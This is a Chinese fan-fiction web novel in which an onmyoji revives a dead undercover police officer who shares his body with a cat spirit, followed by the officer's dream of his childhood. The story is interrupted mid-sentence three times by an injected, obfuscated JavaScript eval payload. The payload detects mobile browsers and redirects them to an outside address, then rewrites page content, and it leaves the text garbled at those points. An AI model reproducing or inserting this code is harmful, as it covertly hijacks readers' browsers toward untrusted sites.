他一如既往地一言不发面无表情,只是虹膜比以往亮得多。即使藏在暗处,仍然像在阳光下那样每丝纹路都反射着光。像猛兽将身体掩埋在草丛背后,双眼锁定猎物,静静等待即将到来的斗争。 “开始了。”他小声喃喃着。 压抑的脚步声到了二楼后就几乎听不到了。不过对于听觉异常灵敏的生物来说,捕捉到前后并不一致的、鞋底与地面摩擦的频率,可以说轻而易举。 魔魅流从座位上离开,静静站在车门前。 黑色丰田所在的位置是大楼的阴影处。月光照不进来,更何况冬天本来就暗。皮肤擦上冷空气时,魔魅流轻轻嘶了一声。 这道浅之又浅的呼吸像某种信号。下一秒,他双眼瞳孔一僵、又急速扩大。原本反射在眼睛里的所有景象都被抹去,虹膜颜色更浅更亮,看着比以往任何时候都要无机质。 “魔魅流,看懂了吗。” 阴阳师站在原地,视线沿着金发情报官走过的位置微微上移、最终固定在最高位置。观察的同时,口中一直喃喃自语:“这是龙二希望你学到的。调整行为细节隐藏自己的想法——不过你可以做得更好。” “去吧。去处理后续。” 说话声消失,四周立刻安静下来。已经变浅的双眼颜色渐渐加深,回到原本的模样。魔魅流眨了眨眼睛,抬脚踏进空荡荡的门框。 高处的空气被一道枪声打破,声响顺着钢筋水泥传到下方。橘发阴阳师仰头看了一眼,继续以原本不快不慢的速度上楼。 越靠近天台,空气中越掺杂些许争吵的声音。高处的铁门被重重摔上,有人快速走下来,听上去怒气冲冲的。 是早一步上来的波本。他看了魔魅流一眼,沉着脸与人擦肩而过。 之后是莱伊。他们这位冷淡寡言的狙击手看上去同样心情不太好。但不像是被波本骂了,而是出于其他什么原因。 “你现在上去晚了。”两人距离五六个台阶时,莱伊难得主动开口叫住新同事。这可能是前者整个星期里第一次和后者搭话——顺带一提,今天是周日。 魔魅流微微歪头:“我听到了。” 莱伊表情一顿:“听到什么?” “有人开枪。” 莱伊点头:“是苏格兰。那只公安老鼠自杀了。” 他微微压低眉毛,眼神有些复杂:“你没什么想法?” 魔魅流一脸疑惑,其中还能品出些说不清的诚恳:“应该有什么想法?” 悲伤、愤怒、冷漠,正常情况下应该是这些——但貌似在眼前的场景下,面无表情才是最不会出错的。 有点超纲了,魔魅流想。他是真的不知道该怎么做,与其做出不合适的反应,不如尽可能掩饰一下。 莱伊没说话,只是将头顶的针织帽拉低,遮住一半眉毛。 他也不知道自己想问什么。面前这位同事看上去像几乎无法产生情感,大概也谈不上对身边人的死亡有什么感触。 如果哪天他和波本险些死外面,对方或许都会不像琴酒那样、骂几句“惹麻烦的家伙”,而是摆出与现在一模一样的、冷淡过头的神情。 他原本还以为对方早早藏在楼梯间,所以到了关于FBI的话语。可这人又是和波本一起来的,没理由赶上那部分。 “......我知道了,”狙击手点头,一脸平淡地抬腿下楼,“毕竟今天之前也是一个小队的人。虽然你没有回收任务,不过上去看看也行。” “看看苏格兰的尸体。” ——尸体。 这个词语在魔魅流脑海中晃了一圈又很快离开。他没解释或指正,只是看着两人离开的方向,轻轻呼了口气。 他伸手隔着风衣抵上内脏位置,站在原地等整栋建筑听不到任何细微脚步声后,才不急不慢地抵达天台。 今晚没有雪,天台离夜空更近一点,让星星点点的光更容易从蓝黑色中洒下来。 苏格兰双眼紧闭靠着天台的栏杆。就像莱伊形容的那样,他胸口有一处血洞,红色液体顺着洞口哗啦啦向下流。 是尸体的模样。 看上去是。 魔魅流凑到公安身前,右手抵上他的脖颈。 那里已经没有脉搏了,毕竟波本和莱伊先后都检查过,所以几分钟前才在追杀叛徒的任务汇报里说苏格兰确认死亡。 不过在阴阳师双眼能看到的世界中,尸体胸口血洞正不停地向外伸出灰色的烟雾,有些像寺院里人们点燃的线香。燃起的那几缕烟源头处很凝实,但越向外扩散越虚无缥缈。 烟雾从流动的血液里渗出来,向上窜,绕过阴阳师的手指和手臂,不断向尸体头顶攀升。它们的终点有上有下,先是环绕成一个轮廓的虚影,再向内填充。慢慢能伸出四肢、爪子,以及以不大的力度从灰色烟雾团里甩出来的尾巴。 如果“它”有实体和颜色,大概是毛茸茸的三花色尾巴。 还是两条。 魔魅流视线的焦点原本集中在苏格兰心脏的枪伤处。烟气渐渐凝实后,他也追着猫妖的力量看向它盘踞的位置。 浅灰色的烟气里混沌一片,凝实和虚幻夹杂流动。但霎时间,头部位置睁开一对眼睛。它们和大多数猫一样是金色,发亮,在日光下每丝纹路都依稀反射着光。 “好久不见。”魔魅流与陌生的猫妖对视,一边说话,一边将手探向腰带左侧位置。 他语气很平淡,只是在做最简单最普通的询问。 但对方大约是误会了什么,尖利刺耳的猫叫瞬间以人类无法捕捉的声波频率刺过来。 灰烟以苏格兰的身体为中心炸开。扑面而来的力量带着巨大的气势,压得领域内所有生物都睁不开眼。 空气中像凭空生出无数细密的利爪,每每与身体擦身而过时都留下划痕。细小的伤口凌乱交错,剌开皮肤的每寸纹路,破坏出其下遍布的毛细血管。 所有暴露在外的地方都受到攻击,魔魅流的角膜也被抓得有些疼。他轻轻吸了口气,眯起双眼勉强隔开灰雾。 空气里的猫叫声还在以稳定的频率攻击生物大脑。起初灰雾领域内的声波只有它一个。随着攻击者尖啸渐渐乏力,另一丝同属于猫的呜咽渐渐攀上魔魅流耳边。它和往日一样,只是“喵——”“喵——”地呼唤,没有任何额外的情绪,更别说混杂攻击性。 橘发的阴阳师双手自然垂下到身体两侧,指节微微活动。噼啪作响的细小火花在指尖燃起,逐渐延伸、放大。 两只手掌全部被雷电包裹后,魔魅流面无表情地踏步向前,一手压着苏格兰的身体,另一只手扼住猫妖的咽喉。后者发出一声更尖利的叫声,试图拉长身体从禁锢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256598|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中逃离。 它身体变化的下一瞬,阴阳师猛地拉住猫形态雾团向外扯。巨力将尸体与妖气瞬间撕裂,二者相接的位置灰烟断断续续。但电流顺着手指与灰雾相接的位置扩散攀爬,将苏格兰头顶原本藕断丝连的妖气链接通道炸干净。 原本附着在烟雾最外层的雷电也骤然暴起,火光相连围成一个封闭的屏障,逐渐向内缩小,挤压所有包裹在其中的雾气,直到它们变成一个噼啪闪光的小黑球。 苏格兰胸口的血还在流,只不过速度稍快了一些。 魔魅流动作一顿,蹲下身凑到狙击手面前,右手食指和拇指协力扒开后者眼皮。原本温润的蓝色猫眼此时黯淡不少,看上去与其他死人的瞳孔状态类似,但从阴阳眼视角观察,却差距极大。 “......竟然一直在帮他维持吗。” 天台上的空间仿佛突然从方才一片混沌的模样变回现实世界。建筑周边还有普通的车辆在穿梭,鸣笛声听上去有种状况外的迟钝感。 橘发阴阳师拾起风衣下摆,揉成一团撇向身后。他摸向左侧腰间竖卡着的长方形腰包。那里面有个外壳较薄的木盒子,盒子盖做成很好打开的样式方便抽取,内里并排塞了厚厚一摞纸。 这是从家族其余同辈那里拿到的符咒。四年前开始就放在他身上,只是从来没遇到能用上的场合。符咒的功能包罗万象,从普通又日常的快速清洁、快速伪装、快速隐身,到各种复杂又强力的作用都有。 魔魅流从里面抽了一张,动作有些笨拙地贴在苏格兰心脏处。 根据符咒书写者花开院雅次的解释,这张符文的作用是强行促进肉.体生长、以堪称暴力的手段堵住伤口。 他确认好纸张不会凭空滑下来、正要对其施加灵力,突然动作一顿,快速翻出一直攥在手里的静电小黑球。 被关在黑球里的猫妖还在拳打脚踢,踹得黑球时不时凸起一两个小小的尖角。包裹在外层的雷电顺着阴阳师手指流走,埋进皮肤,只留下细细一丝。随后那颗光滑小黑球被塞进子弹在胸口轰出的洞里。 猫妖接触到熟悉的身体,瞬间散逸开,钻进血管神经肌肉等部件。 它刚跑开没多远,阴阳师就拽着那根带电的线将它拉回来。 “就在这里。现在心脏要紧,”魔魅流盖上符纸,继续原本的步骤,“一起努力哦。” 他看向那个血洞,对苏格兰的尸体、以及再次与尸体搅作一团的猫妖说。语调一如既往地平淡无波,但诡异地带着一丝真诚。 毕竟只有一处枪伤,只需要一张符咒和半分钟治疗就能处理。 胸口冒血的洞被堵住了,但原本流了一地的血液不会平白无故收回去。魔魅流从符咒包里又取了一张,手指在地面血滩上沾了沾,在纸上写下“诸伏景光”四个字,接着又咬破自己的手指,用颜色略浅的血液在红字上描了一遍。 深红浅红渗在一起,泡得整张符咒有些软。阴阳师将它甩向空中,双手快速打出一个结印。纸张在高空里膨胀拉长,浑浊地泛起红白之外的颜色。它最开始还轻飘飘地向下坠落,但扭曲得逐渐有人形后,开始重重栽向地面。 肉.体撞击水泥地的声音异常明显。所有连接脆弱的零部件在磕碰后啪地四散开。各种颜色混在红色白色里,搅合得不清不楚。 魔魅流探头看了眼几十米下一塌糊涂的现场,又看了眼明显整洁很多的天台,以及双眼紧闭的公安卧底先生。 苏格兰好像说过扛着的姿势会胃痛。 他想了想,上前将人背在背后,从天台边缘向道路另一侧跳下去。 18. 猫又(二) 诸伏景光做了个梦。 梦里的他大约四五岁,和另一个年纪差不多的男孩一起,在群马与长野交界的森林里急速奔跑。 这画面原本已经从混沌模糊的幼时记忆里淡了出去,只有零星几个碎片一样的影子能偶尔一晃而过。但在梦里,他发现自己突然记得很清楚。 两个孩子的呼吸、山林里一草一木的纹路、借由空气介质回荡在耳边的鸟叫声、蝉鸣声......以及其他还没开始识别的声音。 孩子们的脸上被细树枝刮蹭了很多下,一些小伤口微微渗血,被不太干净的泥土污染,蛰得有些痛。痛觉太真实了,以至于做梦的人都无意识抬起手臂,摸了摸自己的脸。 和他一同逃难的男孩头发软软地顺下来,三七分刘海下的额头光得发亮。男孩有些凸嘴,像长期口呼吸形成这样的骨性结构。因此他跑步时总是喘气喘得很厉害。 小小的诸伏景光怀里好像抱着什么。孩子们脚步又琐碎又快,出现在视野中时总是一晃一晃的看不清楚。但隔着梦境,诸伏景光依稀能捕捉到那东西传递给他的触感。 温热、柔软、略微沉重。还毛茸茸的。 应该是一只猫。 但怀里的小东西并没有挣扎,好像睡死、或已经死过去那样,窝在男孩臂弯里一动不动。 身后吵吵嚷嚷,一群人杂乱又沉重的脚步声逐渐靠近。 两个小孩子都还没到长身体的时候。他们借助灵活的身躯,从各种乔木灌木中穿梭,扒开不停挡在眼前的树枝,想方设法在林间土路的缝隙中一边行动、一边掩盖踪迹。 小景光的手臂被猫困住,没办法双手并用地动作。跑在他身侧的男孩自告奋勇,每次找到新出口都扒开障碍让同伴先走,自己随后再钻出去。 男孩们跑得很快,但他们步伐不大,耐力也相对弱势。 身后追逐的猎人们还在移动,在每个岔路口都分出一部分人手,想要守住山林所有能逃脱的路线。 “怎么办。”诸伏景光听到自己在问。他当时应该很着急很着急,呼吸间气都有些喘不上。 他想要站起来继续跑,但腿刚支起来就脱力地拐向地面。 “......我们躲起来吧。”嘴巴有些凸的男孩紧紧闭着一侧眼,同样气喘吁吁。几分钟前他那只眼睛就进了什么脏颗粒,揉不出来,还不停刺激泪腺。 “找一个最高的树,藏在树冠里。如果树上位置不够藏两个人,就找两棵。”他说。 “但是小猫怎么办。它是我们从那些人手里救出来的,已经救了不能中途放弃,”景光小声又急促地问,脸上表情有些羞愧,“但是我——我没办法带着它爬上去。要把它藏起来吗。” 年幼的山村操一把将猫咪从好友怀中抱过来,指了指自己的裤子。松紧腰带的位置有一根白色抽绳。小景光瞬间明白,配合着将这个毫无反应的小动物固定在对方肩头。 “好了!”山村操表情严肃地点头,“我们快开始找树!” - 之后的梦境很奇怪。仿佛有人伸出两只手臂,一只按着小诸伏景光的肩膀,另一只抓着做梦者的心脏。幼年幻觉和成年灵魂之间最初有一道看不见但能感应出的能量链接,但这双手硬生生将两个个体分开、将那条线扯成两半。 后半段自然垂下,又被牵引着捆绑在年幼的山村操身上。 即使记忆被突然刷新,像劣质的过饱和影片一样在脑海中播放、看上去像假的,诸伏景光仍然确信他和山村操在某一个大石头处分开了。 道路左右两旁都各有一棵浓密高大的树木,可以说是他们最理想的藏身之地。从两人默契点头、背对背各自跑开的那一刻起,他不知道山村操停在哪里、爬上哪里、又经历了什么。 但此时此刻,他的视角跟着这位童年好友。诸伏景光的经历却完全与诸伏景光的意念无关。 这感受很奇怪,又莫名带有一种强烈的隔阂感。 在做梦的这个灵魂好像变成完全置身事外、游荡在山林里旁观一切的幽灵。又或者像一个趴在玻璃鱼缸前的观众,眼看着小鱼疯狂游动、更大的鱼在身后追逐,但始终隔着一块玻璃。 巨大的无措感压得他肺有些疼,四肢和血流也有温度流失。 ......或许他一开始就猜错了。 诸伏景光想,这哪里是他被刷新的记忆。分明是其他什么一直跟他们的生物的记忆。 想到这里,他视线紧紧追着山村操,看男孩灵活地爬上树木,缩进层层叠叠茂密到能吞噬阳光的树冠里。他肩上的猫还在睡觉,两只眼睛紧紧闭起,尾巴自然下垂,身体各处肌肉毛发都没有任何动静。 年幼的山村操藏好了。几乎是一道呼吸的间隔,野蛮又鲁莽的身影从视线尽头闯进来。 他们和诸伏景光记忆中的一样。穿着粗制滥造的麻布衣服,浑身上下.体毛极其浓密,鬓发胡须和脸上的绒毛搅合在一起,黑洞洞的眼睛镶嵌在其中。 很吓人。但经常在树林里当野孩子的山村操胆子很大,快速反应过来捂住嘴,不发出声音。 野蛮人们一共有两个,都提着捆了几圈粗麻绳的棍棒。 当年的小景光和小操都说不清楚敌人哪里不对劲,只觉得对方身上带着股奇怪的压迫感。或许是气味,又或许是其他凝实、能激发触觉的东西,总之,只要双方距离近到一定程度,孩子们就会发自内心地产生恐惧。 但现在,从成年诸伏景光灵魂的角度,他能看到那些追逐者周身弥漫的淡淡的灰雾。那些灰雾在贴近身体的位置十分凝实,在向空气中散逸的过程中渐渐变淡。 他目前还说不清那些雾到底是什么,但冥冥之中,他能下定结论说,危险气息就是由它们散发的。 两个野蛮人目光冷冷地扫视周围一片,用他们的棍棒重重击打所有视野内的乔木。这里的树干都至少有一位成年人环抱的直径,但如此坚实粗壮的木头都在巨力击打下微微晃动。 树叶簌簌晃动,叶片边缘像刀割那样不断在山村操皮肤上留下伤口。男孩死死抱着身下的枝干,四肢交叉又挤成一团。他不敢睁开眼,害怕和下面哪个人不巧对视。 忍耐的过程很漫长很难熬,但被追逐者们视作可藏匿地点的不只有这一处。等待排查的地方还有很多,他们没有过多精力打树打很久。 持棍的野蛮人们一声不发,厚重的喷气从他们鼻孔中轰出来,像沉闷的野兽。他们凑在一起,抬腿向来时的方向走。 树上,山村操微微睁开眼,上下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256599|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睑夹着中间的眼珠只留一条小缝。他吞了半口唾沫,将卡在喉咙处的心脏向下挤压让它回到原位。 一分钟。两分钟。 直到五分钟左右的时间过去,他以谨慎到一秒一动的速度,从树干上起身。 瞒过去了——那时的山村操大概是这么想的。 他以为追逐者们只是单纯地没有耐心、没有过多的头脑去进行严密排查。 但飘在空中的成年诸伏景光灵体看得清清楚楚。那两个野蛮人闯入半径五米的范围后,一股与入侵者们周身烟雾相同的灰烟,从男孩身后的猫皮毛下散逸出来。 那些灰烟缓缓升起,将小山村操包裹起来,形成一个边缘模糊的茧。一切有实体的存在,像树叶、树枝、甚至原本就在树冠间穿行的小虫,都能轻易越过茧的外壳,来来往往不受阻碍。 但那些来自外部的探查力量,却像碰到玻璃一般,被严严实实地拦住,若无其事地绕过去。 山村操一直紧闭双眼什么也没看到,不过他原本也只能看到现实中有概念的物质。他并不是运气好躲过了搜查,而是那只猫帮他藏起来了。 ——也就是说,年幼的诸伏景光没有接收到这份好运。 意识到这个事实的瞬间,做梦者眼前突然发生剧烈的晃动。天空和地面紧紧向中间挤压、又胡乱折叠,宛如有巨大又看不见的手将视野内所有画面揉在一起,像将废纸团成灰扑扑的纸球那样。 原本就飘在空中的意念没有落脚锚点,被卷进这道力度中拉扯扭曲。诸伏景光头很痛,仿佛有无数棍棒和利器敲击、重砍在他身上。感知被撕成两半,一半像是在急速奔跑,一边尖啸一边冲向另一侧,另一半视野被鲜血糊住,浑身剧痛但移动不了一点。 后面那一边顺着不存在的神经将痛觉全数传递到灵魂,做梦者甚至跟着一起疼,疼得有些麻木,麻木到失去对时间的感知。 不知过了多久,耳边传来了山村操大声的哭喊。他借年幼诸伏景光的五感,拼尽全力想要看清四周的一切。还是长野与群马的山林,天色暗下来了。好友浑身衣服破破烂烂的,脸上一把土一把泪,揉在一起脏兮兮地像一颗黑色小煤球。原本背在对方背上的那只猫也不见了。 小景光恍惚之间听到自己左胸口传来两道心跳。一道是他的,另一道声音更轻,速度更快。那道心跳没有多大力度,但压得他喘不过气。 瞬间,两个不同时空的灵魂一起读懂了它的含义—— 那只捡来的野猫救了诸伏景光这个个体,并不幸扎在他的肉.体中,无法离开了。 - 布料厚重的窗帘紧紧贴实地面。它们几片挨在一起时,将光线吃得干干净净,没给房间留一丝光亮。 一片黑暗中,躺在床上的人突然睁开眼。 他眼睛上挑,眼珠还是蓝色。但比起以往清透温润的模样,此时里面混了不少杂质。高高低低的斑点叠在一起分辨不出边缘。 他缓缓坐直身体,面无表情地抬头看向前方。床的尽头有一张小桌,一个人正站在那里背对着他。 “空间”内有其他人。 意识到这一点,刚醒的人突然浑身过电一般战栗一瞬,双眼骤然闪过一丝亮光,飞快从掀开被子从背后袭击上去。 19. 猫又(三) 那个梦像一种针对失忆者的电击手段。将扎根在诸伏景光脑海最深处、又因为各种原因被砍掉地面部分的记忆重新拔出来。 他和小操闯进一个怪异又阴冷的村落。年幼的自己被入口路边奄奄一息的猫吸引,自告奋勇要带它离开。随后,两人被追逐、开始逃亡。 那天重伤昏迷的小景光大概已经在亡者之路的起点徘徊过一会儿。所幸小猫不是普通小猫,大概是猫妖一样的存在。它硬是将男孩从生死线拉回来,又因为尚未得知的理由共生在诸伏景光体内无法离开——这是小猫妖第一次救他。 那次帮助可能让它失去了很多力量,被拯救的小景光本就记不清事、之后又忘了很多。一人一妖就这样互相无法感知、更无法沟通,挤在同一具躯体里同一颗心脏上,慢慢度过二十年。 直到苏格兰遇到阿玛尼亚克的第一天,小猫本能地害怕这个疑似阴阳师的青年,迷迷糊糊半梦半醒地示警人类“不要靠近”。 然后是遇到阿玛尼亚克的第二天。它寄宿的、已经长大的男孩在高楼上被妖怪追捕。它焦急地催促他快些跳下去,快些逃跑,不要像二十年前那样。 第三次大概就是在天台上。天气很好,星星也很亮。苏格兰握着左轮手枪,对着自己扣下扳机。他又死了一次,然后又被猫妖救回来。 如果按照一般的民间传说思考,有两条命的......大概是猫又。可这两条命消耗结束后,它是否还在,又变成了什么模样。 甚至可能早在遇到诸伏景光和山村操之前,猫又已经失去了一道“尾巴”。现在的诸伏景光已经死了,是意识模糊的游魂,还需要几天才能走到“魂升天”这一流程。做梦不过是头脑里液体无意识晃荡的时候,不小心抖出来点什么东西、又莫名其妙掺了些来源于想象的内容。 梦里的故事将近结束——小景光被送去医院,小山村操也被家长领回家。画面慢慢无聊、慢慢拉长。 直到播放到最后一帧时,一声尖利的猫叫像子弹那样刺穿做梦者的头颅。 诸伏景光的意识眨眼间从虚无缥缈的梦境砸向真实凝固的地面。他知道自己回来了、回到原本胸口穿了个窟窿的身体——大概真的是小猫又把自己救活了。 被塞回原位的灵魂想努力感受全身各个部件的存在。四肢都还健全,骨头也没问题。 只是,诸伏景光觉得浑身上下每块肌肉都像被从骨骼上剔下来、又被劣质的线连在一起。这些肉块脱离了大脑控制,没有任何命令平白无故地动起来、暴起向面前背对站立的人发起攻击。 被袭击者没有任何恐慌无措的反应。他缓缓转过身,毫不费力地抓住“诸伏景光”的手腕。 腕部传来极强的禁锢力度,被擒住的身体在挣扎,每次动作都使疼痛从握点蔓延开、击穿其他肌肉骨骼。 诸伏景光的大脑还沉沉地搅作一团。头很重,从耳蜗到脑部神经全都嗡嗡作响,仿佛一直在震、压得他睁不开眼睛,也接收不到任何视觉之外的五感反应。不过疼痛是有的。 他现在无比庆幸“自己”的攻击没有起效,并且轻而易举就被压制住,锁在原地动弹不得。这个简短的喘息让他能再尝试一把、将理智和意识拽回来,思考现在发生了什么。 房间太暗,无法辨识每个生命体和无生命体的轮廓。但袭击者与被袭击者离得这么近,前者却几乎没有听到后者的呼吸声。 这个特征让他感觉很熟悉。再加上这个不容置喙却过分冷漠毫无敌意的力度,大概......接住攻击的人是阿玛尼亚克。 他还是苏格兰的时候,几乎从来没有和阿玛尼亚克约过训练场。 苏格兰是个狙击手。虽然打狙的硬性条件是身体素质要好,但力气大耐力强和格斗能力顶尖是完全两回事。只论近战他比不过同一小组里的莱伊,甚至比波本也差一些。后来新同事阿玛尼亚克加入他们小队后,苏格兰的格斗排名更是从第三掉到第四。 他没和阿玛尼亚克打过,但波本打过。问起时,降谷零总是咬牙切齿地骂,把所有“不像人类”的形容词像堆垃圾一样高高垒起。 诸伏景光原本以为幼驯染话里多少带了些主观情绪,但此时此刻,他意识到这是真的。幸好是真的。如果换个人,不一定能很快控制住这道袭击—— 腕部突然传来滋滋的酥麻感,像有静电火花顺着皮肤传导进来。这一异常仿佛将攻击者体内胡乱冲撞的未知力量扎破一道口子、微微漏气。在这个停顿间隙,诸伏景光感觉身体冷静了一些,灵魂和物质之间的隔膜开始软化。 他努力忍着太阳穴和额头正中灼烧般的痛楚,睁开双眼,抬头。眼眶很烧,眼球干到剧痛异常。诸伏景光咬着后槽牙,想要和面前的人对上视线。 后者仿佛察觉到什么,禁锢手腕的力道微微放松。他原本就是用右手臂钳住诸伏景光,左手臂一直自然垂在身侧。现在,空出来的那只手伸向桌子,从上面拿起什么小巧的物件,举起来—— “咔嚓”拍了一张。 滑稽的声音在昏暗狭小的房间里听着异常突兀。 诸伏景光原本稍稍梳理流畅的思路又卡住了。他感觉自己的五官僵在原位,无措地想要探出手抢到那部手机。 在这时,阿玛尼亚克又“咔嚓”拍了一张。 ......到底有什么好拍的。 他又不是头上突然冒出猫耳朵,脸颊两侧也长出猫胡子,整个人毛茸茸地像一只正在朝“人类”变形的猫—— 等等。 他不是吧! 荒诞到有些幽默的猜想瞬间从诸伏景光大脑里冒头。猫眼青年努力偏开视线、想看清自己伸出去的手臂到底长什么样子。 但是室内太黑了,目之所及只能勉强认出来那还是形状正常的一条。至于有没有毛发、是原本手臂上的细小绒毛还是真的猫毛,都被宽松的长袖衣物遮挡看不到。 他还想抬起另一手尝试抓握,或者摸摸脸上头顶上的各个部件。但直到现在,诸伏景光对身体的掌控力依然不太好。 夺回控制权指挥四肢做动作有些困难,他想了想,决定直接控制声带,用话语问出来—— “喵。” 诸伏景光:...... 行吧,就这样吧。 - 魔魅流还在单手摆弄手机。 他费了些许功夫在短时间内调整好闪光灯、白平衡、亮度修正这些复杂又看不懂的东西。确认刚才拍的照片能看到脸,他满意地点点头,切换到录像。 他刚按下屏幕下方的红色按钮,手里抓着的人喉咙里发出几声轻声咕噜,像要说话。对方开口前带着莫名的来势汹汹,但真正发声后,只冒出一句简短的: 喵。 实际上,不是完完全全的猫叫声。 人类发声系统与猫科动物的基本原理相同,但形态和细节总归有不少差别。猫叫声由“诸伏景光”的身体发出,原本就出现变质扭曲。 更不用说这不合格的叫声里,还掺了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256600|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些真正属于猫的声音。两种声音叠在一起,像同一个身躯上长出两个喉咙。 “诸伏景光”脸上的表情也像拆成两半。一半还维持着发动攻击时的戾气,所有肌肉神经都绷紧成凶狠的样子,虎视眈眈盯着眼前人。 另一半大概被那声猫叫震得有些恍惚,开始思考“我是谁我在哪”,“我是猫还是人”。 两张面孔像交替出现,又像虚幻地同时重叠在一起。魔魅流看了眼凶巴巴的猫又,又透过猫又仔细辨识了一下诸伏景光的态度,做出判断。 起初他完全感知不到面前生物里人类灵魂的存在,但方才尝试性地用雷电稍微压制了一下猫又部分,很快就能看到诸伏景光的脸。看来是有效的。 于是,更亮一些的电火花从他与对方手腕相接的位置冒出,逐渐放大。被他抓住的生物发出一声嘶叫,随后不停挣扎。但它在这种危险时刻仍然收着力度,像要避免身体主人的尺骨和桡骨被捏碎。 电流被激发后猛地扎进“诸伏景光”皮肤,顺着血管一路穿行到浑身各处。袭击者原本浑浊一片的眼珠像被电流穿透那样,其中的杂色斑点被消除,只留下最初清亮透彻的宝石蓝。 蓝色虹膜在昏暗的室内微微发光。它们最初还没有任何焦点,但随着边缘逐渐清晰,中央的瞳孔也终于凝实下来。 一直被禁锢在原位的手臂渐渐下垂。诸伏景光双眼能完全视物后,意识到自己大概被帮着抢回身体指挥权了。 他尝试感受了一下身体各个位置,随后抬头紧紧盯着魔魅流,维持这一视线角度一边慢慢倒退、一边举起自己双手放在头颅两侧。 苏格兰这个卧底警察自杀后被立场不明的阿玛尼亚克捡到,无法完全判断是好消息还是坏消息。 疑似是阴阳师青年比那个组织的其余犯罪分子好说话一些。只要能给出合理的说法,未必会出现危险。但麻烦的地方在于未知状况太多了。 现在该做的第一件事就是问清大致情况。他们现在在哪里,他在天台开枪后现场发生了什么,“叛徒清剿”任务的后续又怎么样了。他是活着还是死了,以及——到底是出于什么原因,这位除妖师救下自己这个和猫妖混杂在一起的人类。 ......他是想这样问的。 但果然,在此之前还要确认对方的态度。 公安还在头脑风暴,在场的另一位先一步开口。 “想听什么?”魔魅流问。他语调毫无起伏听不出情绪,但透露出一股莫名的好脾气:“有些不能说,有些可以。” 诸伏景光仍然没有放松。 虽然这话听上去是友善信号、有种随他问的意思,但自己毕竟是被动方。问什么、怎么问,这些都要经过谨慎思考才能—— 啊,他还忘了一件重要的事。 “咳。” 诸伏景光讲话前先清了下嗓子,确定自己不会再发出猫叫。 “你刚才是在......拍照?” “......嗯。” 魔魅流一本正经地点头,像陈述十分严肃的工作那样,一字一顿地说:“在拍以防万一能用来要挟的照片。” “龙二要求的。” 诸伏景光:“......” 这是个什么要求。 “照片里的我很怪异吗?” “没有,”魔魅流认真解释,“只是冒出来了猫耳朵。” “......真的?” “真的。不过不能给你看。” 20. 猫又(四) 诸伏景光沉默了两秒,还是伸手摸了摸头顶。 那里和以往没有任何区别,想来猫耳朵已经缩回去了——如果真的有猫耳朵的话。 “先说第一个问题吧,”他轻轻嘶了口气,“距离我......自杀,过去多少天了。” 他提起这个词语时心情很复杂。 在天台上,苏格兰对着胸口扣下左轮扳机,留莱伊和波本面对他的尸体。死了个公安卧底,和其余人杀一位看到组织机密的路人,貌似区别也不大。等排查结束、确认没有情报泄露后,上级发几句“小心谨慎”的通告,大家照样该做什么做什么。说不定这群家伙还能更轻松一些,毕竟少了一个向外告发他们的人。 所有人中,唯一可能感到煎熬的是降谷零。他们这对幼驯染从小到大只有卧底刚开始时短暂分开了一段时间,况且之后还重新汇合。两人总是一起搭档、一起鼓励,在最危险最难熬的日子里都这么倚靠在一起过来了。 但那声枪响后,降谷零一个人被留下,诸伏景光成了个从现世退场的幽灵。或许他自此之后还能飘在半空里、再面对面亲眼看看降谷零的脸、看幼驯染在各种场合装出情绪丰富的样子,但那时候他有没有意识都说不准。 大概幽灵总会在遇到那位金发黑皮的青年时,因为执念影响感到大脑钝痛,但灵魂快消散的家伙说不定脑海中一个字都拼不起来。失去对文字的认知,从而想不起自己的名字对方的名字,更不论在那些残酷又温暖的过去经历过什么。 ......诸伏景光原本是这么想的。 “复活”之前。 毕竟他这个自杀的人现在还活蹦乱跳的。仿佛经历过的逃亡、挣扎、不甘、决意等一系列咬着肾上腺素不放的情绪都轻而易举地翻过一页,敷衍得像白赚观众眼泪。 或许真的如他所想那样是体内的猫妖用妖力救了他,又或者是出于其他什么唯物主义科学能解释的理由——总之,他首先想知道自己自杀是什么时候事。 毕竟实际发展情况可能不怎么遵从自然规律。或许他已经睡了好几年,睡到组织都覆灭了。 猫眼公安问问题的时候,魔魅流也没一直戳在原地干站着等。 他走到窗帘前,微微扯开一条小缝。外面天色很阴,还在飘雪。看不到日光的模样让人分辨不出现在具体几点。 拉窗帘的人唰地又把两边收在一起,走去房间另一侧打开灯。开关咔哒一响,头顶的方形灯罩很快被白光填满。 诸伏景光这下才看到房间的全貌。 